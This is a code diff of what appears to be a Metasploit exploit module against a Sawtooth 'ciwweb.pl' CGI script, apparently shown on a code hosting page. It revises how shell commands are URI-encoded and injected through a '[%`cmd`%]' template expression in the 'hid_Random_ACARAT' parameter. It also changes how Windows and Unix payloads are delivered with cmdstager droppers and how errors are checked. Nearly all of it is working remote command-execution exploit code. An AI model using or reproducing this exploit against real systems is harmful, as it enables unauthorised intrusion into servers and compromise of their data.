@@ -94,7 +94,7 @@ def initialize(info = {})
9494 register_options (
9595 [
9696 OptString . new ( 'TARGETURI' , [ true , 'Path to vulnerable ciwweb.pl' , '/cgi-bin/ciwweb.pl' ] ) ,
97- OptString . new ( 'STUDYNAME' , [ false , 'Value for the hid_studyname GET parameter' , '' ] )
97+ OptString . new ( 'STUDYNAME' , [ false , 'Value for the hid_studyname GET parameter' , '' ] ) ,
9898 ]
9999 )
100100 end
@@ -105,7 +105,7 @@ def check
105105 vars = {
106106 'hid_javascript' => '1'
107107 }
108- vars [ 'hid_studyname' ] = datastore [ 'STUDYNAME' ] unless datastore [ 'STUDYNAME' ] . to_s . strip . empty?
108+ vars [ 'hid_studyname' ] = datastore [ 'STUDYNAME' ] unless datastore [ 'STUDYNAME' ] . strip . empty?
109109
110110 res = send_request_cgi (
111111 'uri' => normalize_uri ( target_uri . path ) ,
@@ -133,39 +133,42 @@ def check
133133 end
134134
135135 def execute_command ( cmd , _opts = { } )
136- cmd = Rex ::Text . uri_encode ( cmd , 'hex-all ' )
136+ cmd = Rex ::Text . uri_encode ( cmd ) . gsub ( '\\' , '%5C' ) . gsub ( '/' , '%2F ')
137137
138138 query = [
139139 'hid_javascript=1' ,
140140 "hid_Random_ACARAT=[%`#{ cmd } `%]" ,
141141 "hid_Random_ACARAT=#{ Rex ::Text . rand_text_alphanumeric ( rand ( 3 ..5 ) ) } "
142142 ]
143143
144- query << "hid_studyname=#{ datastore [ 'STUDYNAME' ] } " unless datastore [ 'STUDYNAME' ] . to_s . strip . empty?
144+ query << "hid_studyname=#{ datastore [ 'STUDYNAME' ] } " unless datastore [ 'STUDYNAME' ] . strip . empty?
145145 query_string = query . join ( '&' )
146+ print_status ( query_string )
146147
147148 res = send_request_cgi ( {
148149 'uri' => normalize_uri ( target_uri . path ) ,
149150 'method' => 'GET' ,
150151 'query' => query_string
151152 } )
152153
153- fail_with ( Failure :: Unreachable , 'No response from target' ) unless res
154-
155- html = res . get_html_document
156- if html &. text &. include? ( 'Sawtooth Error # 129 ')
157- fail_with ( Failure :: BadConfig , 'The STUDYNAME value is invalid' )
154+ if res
155+ html = res . get_html_document
156+ if html &. text &. include? ( 'Cannot find default studyname' )
157+ fail_with ( Failure :: BadConfig , 'The STUDYNAME value is invalid ')
158+ end
158159 end
159160 end
160161
161162 def exploit
162163 print_status ( 'Uploading malicious payload...' )
163164
164165 case target [ 'Type' ]
165- when :windows_dropper , :nix_dropper
166+ when :windows_dropper
167+ execute_cmdstager ( temp : '.' )
168+ when :nix_dropper
166169 execute_cmdstager
167170 when :windows_command , :nix_command
168171 execute_command ( payload . encoded )
169172 end
170173 end
171- end
174+ end
0 commit comments